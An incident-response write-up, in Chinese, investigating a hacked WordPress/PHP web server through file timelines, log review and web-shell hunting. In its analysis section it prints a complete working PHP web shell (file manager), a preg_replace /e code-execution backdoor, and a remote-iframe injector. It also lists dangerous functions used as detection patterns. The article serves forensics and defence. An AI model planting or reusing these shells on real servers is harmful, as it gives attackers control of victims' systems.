中国领先的IT技术网站
|
|

惨遭黑客入侵,一次服务器被黑的应急行动!

如果你的 PHP 服务器被黑客入侵时该怎么办?这是我最近处理 Linux Web 服务器发现的一个问题。

作者:luochicun来源:嘶吼专业版微信公众号|2017-10-20 10:56

Tech Neo技术沙龙 | 11月25号,九州云/ZStack与您一起探讨云时代网络边界管理实践


如果你的 PHP 服务器被黑客入侵时该怎么办?这是我最近处理 Linux Web 服务器发现的一个问题。

PHP 服务器被黑时,会出现新的 PHP 文件,这与运行在服务器上的 wordpress 应用程序和特定的用户代理没有任何关系,所有的流量都被重定向到另一个站点。

在第一次被攻击之后,我已经禁用了所有他所检测到的恶意文件,并修复了重定向,直到服务器再次被黑客攻击。

为此,要将这些应用程序转移到新的设备进行分析,我必须在原系统上对下列 3 个线索进行取证:

  • 应用仍然在运行。
  • 应用至少被黑过两次。
  • 应用已经被管理员大量修改过了。

不过要说明的是,我的目的不是要建立一个合法有效的保护机制,而是要确定:

  • 确定系统是否被破坏,如果被破坏,则删除或屏蔽与此相关的所有内容。
  • 检测哪些文件被修改以避免将受感染的文件转移到新的主机。
  • 理想情况下,初始攻击向量被阻止。

在获得域名、IP 和 SSH 证书后,我就开始收集被黑的证据了。

收集证据

在连接到服务器之前,我注意到我的 IP,以确保以后能够在日志中把它区分开。

然后通过 SFTP 连接,由于服务器的磁盘安装和运行,我无法进行映像。所以我下载了所有我可以得到的日志文件以及其他感兴趣的文件。

我复制了整个 /var/log/ 目录,并从虚拟主机根文档所在的目录中复制了 Apache 特定的日志文件,并复制了被黑的 PHP 应用程序,以及在事件发生后不久的一些备份。

不幸的是,我没有对管理员所做的更改进行备份,因此一些关键的文件可能已经被修改了。

我启动了 Kali 并运行了一个具有 portscan 端口扫描器程序的 Nmap 扫描,另外我还安装 WPScan。

因为服务器运行的是一个旧的 Wordpress 实例,而且这个实例也执行了重定向,所以 Wordpress 看起来很可能是攻击的初始点。

Wordpress 在受到黑客攻击后已经更新,WPScan 没有发现任何当前的漏洞。portscan 为 FTP、SSH、HTTP 和 HTTPS 提供了开放端口,而这在 Web 服务器上是不可能的。

我在 wp - content 目录下发现了所有的 Shell,在某种程度上,这意味着 Wordpress 应用程序已经被破坏。

我还检查了 VirusTotal,看看网站是否传播了恶意软件,但一切似乎都很正常。

于是我决定通过控制台登录系统,但前提是我不知道服务器上的二进制文件是否被感染了,因此为了减少取证的影响,我带来了我自己的静态链接二进制文件。

我从 busybox 下载了二进制 coreutil,并将它们上传到了服务器上。我还通过 SLEUTH Kit 上传了 chkrootkit 和一个叫做 mac-robber 的工具。

我使用静态二进制文件来检查系统,得到一个运行流程列表,cronjob……

  1. netstat -tulpen 

为了得到一个监控列表(tcp 和 udp)进程,我没有涵盖 portscan 中的所有端口,因此这里的输出可能很有趣。

  1. netstat -taupn 

从服务器显示活动的传出连接(tcp 和 udp),然而,这两个清单都没有显示可疑的活动。

对 chkrootkit 进行 rootkit 检测,也没有找到任何东西。rkhunter 和 clamav 也没有产生任何异常。ClamAV(Linux 杀毒软件)也没有检测到 PHP Shell 和 Windows 木马程序。

虽然我很努力,但到目前为止还没有发现异常打开的端口,异常的进程运行。于是,我和一个管理员核实了 FTP 和 ssh 帐号,这些账号看起来也很正常。

但我并没有放弃,在使用了 mac-robber 工具后,我收集了在服务器上创建和修改的文件信息(稍后可以用来创建事件的时间轴):

  1. ./mac-robber / > /root/forensics/timeline.txt 

截至目前,我收集的证据包括:

  • 关于在服务器上何时创建了哪些文件的信息。
  • 各种日志文件,其中包括 Apache 日志。
  • 受损网站的源代码和一些修改的 Shell。
  • 在第一次和第二次攻击之间备份的信息。

分析证据

由于已经发现了攻击者放置的一些 Web Shell,在经过分析后,我认为,这些文件很像 Xjrop.php、Nwfqx.php 或 Rwchn7.php,并且很可能驻留在常规应用程序文件。

然而,也有一个 up.php 文件被调用,它提供了一个相似的目的,但有其他的源代码。而 Xjrop.php,Nwfqx.php 和 Rwchn7.php 是一样的,up.php 是另一种具有略微不同功能的 Shell。用 diff 命令,比较文件:

  1. diff Xjrop.php Nwfqx.php 

或者通过他们的 md5sum 进行比较:

  1. md5sum Xjrop.php  
  2. md5sum Nwfqx.php 

还有 2 个文件 bjrnpf.php 和 jemkwl.php,这些都是相同的,但不同于其他文件。一个可疑的可执行文件被命名为 windoze,我怀疑是一些恶意软件从这个主机分发的。

我构建了这个文件的 md5sum,并检查了 VirusTotal 的哈希值,注意,在 VirusTotal 上上传的文件可以被其他研究人员看到,因此是公开的。VirusTotal 认为这个文件是木马,为了以后的分析,我保存了它。

一些 PHP Shell 的代码,如下所示:

  1. <?php  
  2. set_time_limit(0);  
  3. error_reporting(0); 
  4. if(get_magic_quotes_gpc()){ 
  5.    foreach($_POST as $key=>$value){ 
  6.        $_POST[$key] = stripslashes($value); 
  7.    }  
  8.  
  9. echo '<!DOCTYPE HTML>  
  10. <HTML> 
  11. <HEAD> 
  12. <link href="" rel="stylesheet" type="text/css"
  13. <title>404-server!!</title> 
  14. <style> 
  15. body{ 
  16.    font-family: "Racing Sans One", cursive; 
  17.    background-color: #e6e6e6; 
  18.    text-shadow:0px 0px 1px #757575; 
  19.  
  20. #content tr:hover{ 
  21.    background-color: #636263; 
  22.    text-shadow:0px 0px 10px #fff; 
  23. #content .first
  24.    background-color: silver; 
  25. #content .first:hover{ 
  26.    background-color: silver; 
  27.    text-shadow:0px 0px 1px #757575; 
  28. table
  29.    border: 1px #000000 dotted; 
  30. H1{ 
  31.    font-family: "Rye", cursive; 
  32. a{ 
  33.    color: #000; 
  34.    text-decoration: none; 
  35. a:hover{ 
  36.    color: #fff; 
  37.    text-shadow:0px 0px 10px #ffffff; 
  38. input,select,textarea{ 
  39.    border: 1px #000000 solid; 
  40.    -moz-border-radius: 5px; 
  41.    -webkit-border-radius:5px; 
  42.    border-radius:5px; 
  43. </style> 
  44. </HEAD> 
  45. <BODY> 
  46. <H1><center>config root man</center></H1> 
  47. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center"
  48. <tr><td>Current Path : '; 
  49. if(isset($_GET['path'])){ 
  50.    $path = $_GET['path'];    
  51. }else
  52.    $path = getcwd(); 
  53. $path = str_replace('','/',$path); 
  54. $paths = explode('/',$path); 
  55. foreach($paths as $id=>$pat){ 
  56.    if($pat == '' && $id == 0){ 
  57.        $a = true
  58.        echo '<a href="?path=/">/</a>'
  59.        continue
  60.    } 
  61.    if($pat == ''continue
  62.    echo '<a href="?path='
  63.    for($i=0;$i<=$id;$i++){ 
  64.        echo "$paths[$i]"
  65.        if($i != $id) echo "/"
  66.    } 
  67.    echo '">'.$pat.'</a>/'
  68. echo '</td></tr><tr><td>'
  69. if(isset($_FILES['file'])){ 
  70.    if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){ 
  71.        echo '<font color="green">File Upload Done.</font><br />'
  72.    }else
  73.        echo '<font color="red">File Upload Error.</font><br />'
  74.    } 
  75. echo '<b><br>'.php_uname().'<br></b>'
  76. echo '<form enctype="multipart/form-data" method="POST"
  77. Upload File : <input type="file" name="file" /> 
  78. <input type="submit" value="upload" /> 
  79. </form> 
  80. </td></tr>'; 
  81. if(isset($_GET['filesrc'])){ 
  82.    echo "<tr><td>Current File : "
  83.    echo $_GET['filesrc']; 
  84.    echo '</tr></td></table><br />'
  85.    echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>'); 
  86. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){ 
  87.    echo '</table><br /><center>'.$_POST['path'].'<br /><br />'
  88.    if($_POST['opt'] == 'chmod'){ 
  89.        if(isset($_POST['perm'])){ 
  90.            if(chmod($_POST['path'],$_POST['perm'])){ 
  91.                echo '<font color="green">Change Permission Done.</font><br />'
  92.            }else
  93.                echo '<font color="red">Change Permission Error.</font><br />'
  94.            } 
  95.        } 
  96.        echo '<form method="POST"
  97.        Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" /> 
  98.        <input type="hidden" name="path" value="'.$_POST['path'].'"
  99.        <input type="hidden" name="opt" value="chmod"
  100.        <input type="submit" value="Go" /> 
  101.        </form>'; 
  102.    }elseif($_POST['opt'] == 'rename'){ 
  103.        if(isset($_POST['newname'])){ 
  104.            if(rename($_POST['path'],$path.'/'.$_POST['newname'])){ 
  105.                echo '<font color="green">Change Name Done.</font><br />'
  106.            }else
  107.                echo '<font color="red">Change Name Error.</font><br />'
  108.            } 
  109.            $_POST['name'] = $_POST['newname']; 
  110.        } 
  111.        echo '<form method="POST"
  112.        New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" /> 
  113.        <input type="hidden" name="path" value="'.$_POST['path'].'"
  114.        <input type="hidden" name="opt" value="rename"
  115.        <input type="submit" value="Go" /> 
  116.        </form>'; 
  117.    }elseif($_POST['opt'] == 'edit'){ 
  118.        if(isset($_POST['src'])){ 
  119.            $fp = fopen($_POST['path'],'w'); 
  120.            if(fwrite($fp,$_POST['src'])){ 
  121.                echo '<font color="green">Edit File Done.</font><br />'
  122.            }else
  123.  
  124.                echo '<font color="red">Edit File Error.</font><br />'
  125.            } 
  126.            fclose($fp); 
  127.        } 
  128.        echo '<form method="POST"
  129.        <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br /> 
  130.        <input type="hidden" name="path" value="'.$_POST['path'].'"
  131.        <input type="hidden" name="opt" value="edit"
  132.        <input type="submit" value="Go" /> 
  133.        </form>'; 
  134.    } 
  135.    echo '</center>'
  136. }else
  137.    echo '</table><br /><center>'
  138.    if(isset($_GET['option']) && $_POST['opt'] == 'delete'){ 
  139.        if($_POST['type'] == 'dir'){ 
  140.            if(rmdir($_POST['path'])){ 
  141.                echo '<font color="green">Delete Dir Done.</font><br />'
  142.            }else
  143.                echo '<font color="red">Delete Dir Error.</font><br />'
  144.            } 
  145.        }elseif($_POST['type'] == 'file'){ 
  146.            if(unlink($_POST['path'])){ 
  147.                echo '<font color="green">Delete File Done.</font><br />'
  148.            }else
  149.                echo '<font color="red">Delete File Error.</font><br />'
  150.            } 
  151.        } 
  152.    } 
  153.    echo '</center>'
  154.    $scandir = scandir($path); 
  155.    echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center"
  156.    <tr class="first"
  157.        <td><center>Name</center></td> 
  158.        <td><center>Size</center></td> 
  159.        <td><center>Permissions</center></td> 
  160.        <td><center>Options</center></td> 
  161.    </tr>'; 
  162.    foreach($scandir as $dir){ 
  163.        if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..'continue
  164.        echo "<tr> 
  165.        <td><a href="?path=$path/$dir">$dir</a></td> 
  166.        <td><center>--</center></td> 
  167.        <td><center>"; 
  168.        if(is_writable("$path/$dir")) echo '<font color="green">'
  169.        elseif(!is_readable("$path/$dir")) echo '<font color="red">'
  170.        echo perms("$path/$dir"); 
  171.        if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>'
  172.        echo "</center></td> 
  173.        <td><center><form method="POST" action="?option&path=$path"
  174.        <select name="opt"
  175.    <option value=""></option
  176.        <option value="delete">Delete</option
  177.        <option value="chmod">Chmod</option
  178.        <option value="rename">Rename</option
  179.        </select
  180.        <input type="hidden" name="type" value="dir"
  181.        <input type="hidden" name="name" value="$dir"
  182.        <input type="hidden" name="path" value="$path/$dir"
  183.        <input type="submit" value=">" /> 
  184.        </form></center></td> 
  185.        </tr>"; 
  186.    } 
  187.    echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>'
  188.    foreach($scandir as $file){ 
  189.        if(!is_file("$path/$file")) continue
  190.        $size = filesize("$path/$file")/1024; 
  191.        $size = round($size,3); 
  192.        if($size >= 1024){ 
  193.            $size = round($size/1024,2).' MB'
  194.        }else
  195.            $size = $size.' KB'
  196.        } 
  197.        echo "<tr> 
  198.        <td><a href="?filesrc=$path/$file&path=$path">$file</a></td> 
  199.        <td><center>".$size."</center></td> 
  200.        <td><center>"; 
  201.        if(is_writable("$path/$file")) echo '<font color="green">'
  202.        elseif(!is_readable("$path/$file")) echo '<font color="red">'
  203.        echo perms("$path/$file"); 
  204.        if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>'
  205.        echo "</center></td> 
  206.        <td><center><form method="POST" action="?option&path=$path"
  207.        <select name="opt"
  208.    <option value=""></option
  209.        <option value="delete">Delete</option
  210.        <option value="chmod">Chmod</option
  211.        <option value="rename">Rename</option
  212.        <option value="edit">Edit</option
  213.        </select
  214.        <input type="hidden" name="type" value="file"
  215.        <input type="hidden" name="name" value="$file"
  216.        <input type="hidden" name="path" value="$path/$file"
  217.        <input type="submit" value=">" /> 
  218.        </form></center></td> 
  219.        </tr>"; 
  220.    } 
  221.    echo '</table
  222.    </div>'; 
  223. echo '<br />Man Man <br /> 
  224. </BODY> 
  225. </HTML>'; 
  226. function perms($file){ 
  227.    $perms = fileperms($file); 
  228. if (($perms & 0xC000) == 0xC000) { 
  229.    // Socket 
  230.    $info = 's'
  231. } elseif (($perms & 0xA000) == 0xA000) { 
  232.    // Symbolic Link 
  233.    $info = 'l'
  234. } elseif (($perms & 0x8000) == 0x8000) { 
  235.    // Regular 
  236.    $info = '-'
  237. } elseif (($perms & 0x6000) == 0x6000) { 
  238.    // Block special 
  239.    $info = 'b'
  240. } elseif (($perms & 0x4000) == 0x4000) { 
  241.    // Directory 
  242.    $info = 'd'
  243. } elseif (($perms & 0x2000) == 0x2000) { 
  244.    // Character special 
  245.    $info = 'c'
  246. } elseif (($perms & 0x1000) == 0x1000) { 
  247.    // FIFO pipe 
  248.    $info = 'p'
  249. else { 
  250.    // Unknown 
  251.  
  252.    $info = 'u'
  253. }
  254. // Owner 
  255. $info .= (($perms & 0x0100) ? 'r' : '-'); 
  256. $info .= (($perms & 0x0080) ? 'w' : '-'); 
  257. $info .= (($perms & 0x0040) ? 
  258.            (($perms & 0x0800) ? 's' : 'x' ) : 
  259.            (($perms & 0x0800) ? 'S' : '-')); 
  260. // Group
  261. $info .= (($perms & 0x0020) ? 'r' : '-'); 
  262. $info .= (($perms & 0x0010) ? 'w' : '-'); 
  263. $info .= (($perms & 0x0008) ? 
  264.            (($perms & 0x0400) ? 's' : 'x' ) : 
  265.            (($perms & 0x0400) ? 'S' : '-')); 
  266. // World 
  267. $info .= (($perms & 0x0004) ? 'r' : '-'); 
  268. $info .= (($perms & 0x0002) ? 'w' : '-'); 
  269. $info .= (($perms & 0x0001) ? 
  270.            (($perms & 0x0200) ? 't' : 'x' ) : 
  271.            (($perms & 0x0200) ? 'T' : '-')); 
  272.    return $info; 
  273. ?> 

你可能注意到了“404-server! !”的标题,利用谷歌搜索的结果可能是其他受感染的服务器:

有更多可疑的文件包含了看似无用的代码:

  1. <?php @preg_replace("/[pageerror]/e",$_POST['mkf3wapa'],"saft"); ?> 

这行替换了字符串“saft”中的一个小写字母“saft”中的每一个匹配,并使用 $ _POST 变量 mkf3wapa 的内容。返回值被忽略,因此我不确定该代码片段的用法应该是什么。

然而,谷歌搜索结果显示,这段代码与 404-server 有关联! !上传 Shell 并出现在相同的受损服务器上。因此,如果你在服务器上发现了这个代码,它可能是一个被攻击的标识,你应该进一步检查。

检查“404-Server!!”源代码使我得出结论,黑客提供了一个文件浏览器,它具有上传、查看和删除文件以及调整权限的功能。

通过检查这些文件的背后组织和开发者,我发现它们都是由PHP进程的所有者创建的,因此它们非常像 PHP 应用程序所创建的。

另一个被攻击的文件叫做 way.php,它只是包含了来自另一个服务器的文件:

  1. <?php  
  2. $way = 'http://XXX.XXX.XXX.XXX/dir/index.php?52b019b=l3SKfPrfJxjFGMeDebmtF_FXPAzaHkyZxYufiaWSHJmkaWD8jvT5Sknh_QTIT1XW_r4' 
  3. $fd = @file($way);  
  4. if ($fd !== false 
  5. if (isset($fd[0])) 
  6. echo(' <iframe src="'.$fd[0].'" width="1" height="1" style="position:absolute;left:-1px;"></iframe> '); 
  7. ?> 

因此,这基本上是一种将外国 html / javascript 代码包含在该域下的方法。然而,恶意服务器向我展示了一个有趣的信息:

这可能是因为我没有使用正确的引用头,或者服务器不再为其恶意负载服务。

在一个 html 文件中,我发现:

  1. <iframe src="way.php"></iframe> 

它只是用 iframe 方法插入了 way.php 的输出。

进一步寻找 Shell

以上这些文件因为它们异常的文件名被识别后,我开始通过应用程序代码来查找更多可疑的文件。特别是,你可能希望查找在服务器上执行命令的函数,例如:

  1. passthru 
  2. exec 
  3. shell_exec 
  4. eval 
  5. system 

并 grep 所有这些函数的文件:

  1. egrep -rin "system|passthru|exec|shell_exec|eval" /var/www/vhosts/xyz/  >  
  2. ~/forensics/results_shell_grep.txt 

你经常看到人们只 grep*.php 文件,但这可能会遗漏很多信息,PHP 文件可以有其他扩展,当只检查 *.php 扩展时,就可能会忽略*.php5*, *.php4 或*.phps。

因此,如果条件允许,你最好能在所有文件中进行 grep,或者在任何其他文件结束时提前搜索。也可能存在带有任意扩展的恶意文件,这些文件由更常规的 PHP 文件加载,因此你也应该尝试检测这些文件。

但是,请注意,由于这些文件没有直接执行代码,因此不会检测到混淆的文件和上传的 Shell。你可能需要扩展你的搜索范围,减少一些可疑的函数。

  1. fputs 
  2. fwrite 
  3. fopen (especially with URLs) 
  4. chmod 
  5. socket_* 
  6. curl_* 
  7. base64_decode 
  8. gzinflate 

如果你有一个粗略的想法,当攻击发生的时候,你可能也想要寻找在那个日期之后被创建或修改的文件。

  1. find -mtime -2 /directory 

根据在服务器文件上发生的常规更改,你可以很容易地以这种方式检测到更多的 Shell。

如果你已经发现了一些恶意文件,那么还可以使用检测到的文件的某些特性来寻找进一步的变体,比如,检查所有文件的字符串“404-Server!!”。

除了传统的杀毒软件扫描仪外,还有一种方法是使用基于 yara 的扫描仪,比如 OWASP 中的 Web Malware Scanner。

这些基本上是扫描文件,并以检测恶意代码的 yara 规则检查它们。为此,你需要在 git 中安装 yara、Python binding 和 Web Malware Scanner。

在我的例子中,运行 webmalewarescanner,可以在被破坏的 PHP 应用程序的源代码上产生了很多结果,我花了一些时间,但也正确地识别了三种类型的 Web Shell 中的两种。

  1. root@DESKTOP-XXX:~# cat webmalwarescan_results.txt |grep "webshell" 
  2. [2017-08-01 09:24:56] Scan result for file /path/to/up.php : webshell iMHaPFtp 2 
  3. [...] 

此外,还有一些 wordpress 插件试图检测出攻击方案,比如 sucuri。我不想在已经损坏的系统上安装额外的插件,所以我没有尝试这个。

根据我的经验,在寻找 Web Shell 时,你应该始终结合不同的技术。有些文件很难识别,乍看上去合法的文件也可能有恶意的功能。你越了解被破坏的系统,就越容易检测到异常文件。

禁用攻击文件

收集完所有这些信息后,不要忘记将恶意文件渲染成无用的。我已经删除了所有用户的阅读和执行权限,但在系统运行了一段时间后,我将删除它们。系统中不应该留下任何损坏的文件,以防有人不小心将它们重新激活。

建立一个攻击时间表

在前面提到的 mac-robber 工具之前,我已经检索了文件信息,我用 mactime 创建了这个信息的时间轴。

  1. mactime -b timeline.txt 2017-06-01 > timeline_output.txt 

然后,你会得到一长串类似下面的条目:

  1. Fri Jun 30 2017 15:43:02      308 .a.. -rw-r--r-- 10000    1004     0        /var/www/vhosts/xyz/httpdocs/way.php 
  2. Fri Jun 30 2017 15:51:55      308 m.c. -rw-r--r-- 10000    1004     0        /var/www/vhosts/xyz/httpdocs/way.php 
  3. Fri Jun 30 2017 16:07:47       31 m.c. -rw-r--r-- 10000    1004     0        /var/www/vhosts/xyz/httpdocs/newmessage.html 

这是服务器上所有文件的非常有用的列表,包括所有者 id、组 id 以及文件修改、访问和更改的时间戳。

请注意,在 Unix 上,通常会获得文件访问时间、文件更改时间和文件修改时间(atime,ctime,mtime)。

这些是在文件大小之后的 mactime 时间线文件中显示的,例如上面示例中的第二行中的 m.c.,这意味着给定的日期会显示文件修改和更改时间。

在访问文件时设置 a(atime);c(ctime)是在文件内容或权限发生更改时设置的;当文件内容发生了变化,而不是所有者或权限更改时,设置 m;在创建文件时,设置 b。

因此,mtime 在文件最后写入时向我显示。但是我不能确定它是否与文件创建日期相匹配。

不幸的是,这里无法重新构造,因此我不能确定这是上传的时间,但是我可以确定,在周五,Jul 07 文件已经在系统上了。在 Linux 上,你可以使用工具 stat 来显示单个文件的这些信息。

还有一些与文件系统,文件访问,创建时间有关的副标题。首先,如果你的文件系统安装了 noatime 选项(你可以通过运行 mount 命令来解决这个问题),则不需要编写访问时间。虽然这能增加取证速度,但显然非常复杂。

然而,好消息是,根据你的文件系统,你可能能够找到文件创建时间。Ext4 支持它,它在当前的 Linux 服务器上很常见。

但是没有一个用户工具可以很容易地显示文件创建时间,而 mactime 也没有捕捉到它。但是,使用 debugfs 可以检索创建日期。为此,Igor Moiseev 编写了一个名为 xstat 的便捷小脚本。

检查我的时间线,我可以知道第一个恶意的 Shell 何时出现在系统上。

检查日志

我可以在日志中找到一些对这些工具的调用,主要是来自亚洲 IP 地址,但由于 POST 数据没有被记录,我无法找到从 Apache 日志中上传这些 Shell 的文件。

寻找初始攻击向量

为了确定我是否能识别出最初的攻击,我使用了 Apache-Scalp。这是一个较旧的工具,但仍然有效。它主要通过正则表达式匹配已知攻击向量的 Apache 日志文件。

  1. /opt/apache-scalp/scalp# python scalp.py -l  
  2. /path/to/logs/access_log.processed.1_plain -f /path/to/default_filter.xml -a  
  3. lfi,rfi,sqli,dt -p "25/Jun/2017;05/Jul/2017" --output /root/scalp --html 

然而,在事件发生当天或之前,没有可疑的 sql 注入或 lfi / rfi 活动,这可能会与其中一个可疑文件发生关系。

检查 wordpress 插件,我发现在漏洞被上传一个月前,至少有一个 SEO 插件安装了一个严重的 Shell。

由于安装了很多插件,所以我编写了一个小脚本,来检查 wordpress 插件目录对 wpvulndb.com 的访问,并显示所有的漏洞。事实证明,有很多严重的漏洞,在没有足够的日志信息的情况下,很难追踪最初的向量。

  1. [+] w3-total-cache 
  2.      * [UNKNOWN] W3 Total Cache 0.9.2.4 - Username & Hash Extract 
  3.         Fixed in: 0.9.2.5 
  4.         + http://seclists.org/fulldisclosure/2012/Dec/242 
  5.         + https://github.com/FireFart/W3TotalCacheExploit 
  6.      * [RCE] W3 Total Cache - Remote Code Execution 
  7.         Fixed in: 0.9.2.9 
  8.         + http://www.acunetix.com/blog/web-security-zone/wp-plugins-remote-code-execution/ 
  9.         + http://wordpress.org/support/topic/pwn3d 
  10.         + http://blog.sucuri.net/2013/04/update-wp-super-cache-and-w3tc-immediately-remote-code-execution-vulnerability-disclosed.html 
  11.      * [CSRF] W3 Total Cache 0.9.4 - Edge Mode Enabling CSRF 
  12.         Fixed in: 0.9.4.1 
  13.         + http://seclists.org/fulldisclosure/2014/Sep/29 
  14.      * [CSRF] W3 Total Cache <= 0.9.4 - Cross-Site Request Forgery (CSRF) 
  15.         Fixed in: 0.9.4.1 

注意,脚本没有检查主题或 wordpress 核心漏洞,这也可能包含严重的漏洞。

总结

根据这次服务器被攻击,我总结了如下几条:

  • 该系统已经被破坏了几个星期。在 Apache 日志的 Shell 中,最早的可见访问是在 7 月初。
  • 我识别了各种受损的 PHP 文件和一个 Windows 恶意软件。
  • 至少有三种类型的 Shell 被发现是攻击的指标。
  • Windows 恶意软件可能还没有传播。
  • 服务器没有显示出明显的更深的感染迹象,从用户帐户来看,没有找到 rootkit。
  • 攻击可能被限制在 Web Server 用户上,对于其他用户,我还没有发现任何受攻击的迹象。
  • 最初的攻击可能是过时的 wordpress 系统中最不安全的漏洞之一。
  • 没有迹象表明其他用户通过 Shell 访问了数据库或数据库凭据。但是,我不能排除有可能访问数据库的可能性。
  • 一些可能是来自亚洲 IPs 的恶意活动(Shell 访问)。
  • 除了清理系统中的恶意文件,我也应用一些优化手段,比如更改密码和证书,安装一个主机 id,执行定期扫描,主动监测服务器……
  • 不过,你永远不会得到 100% 的安全性,特别是当你的服务器已经被破坏时,你所能做的最好的事情就是检查每一个来自非官方的备份或脚本。

【编辑推荐】

  1. 科普应用服务器,与Web服务器有啥区别?
  2. 无服务器架构中的日志处理
  3. 服务器虚拟化和容器技术,谁能满足虚拟化需要?
  4. 如何搭建Web服务器之集成环境
  5. 服务器维护日常需做哪些工作?
【责任编辑:武晓燕 TEL:(010)68476606】

点赞 0
分享:
大家都在看
猜你喜欢

视频课程+更多

热门职位+更多

读 书 +更多

程序员密码学

《程序员密码学》涉及密码学的各个研究方向,分组密码、散列函数、公钥密码以及相关的攻击,同时也讲解了密码学算法实现上常用的ASN.编码、...

订阅51CTO邮刊

点击这里查看样刊

订阅51CTO邮刊
× CTO训练营(深圳站)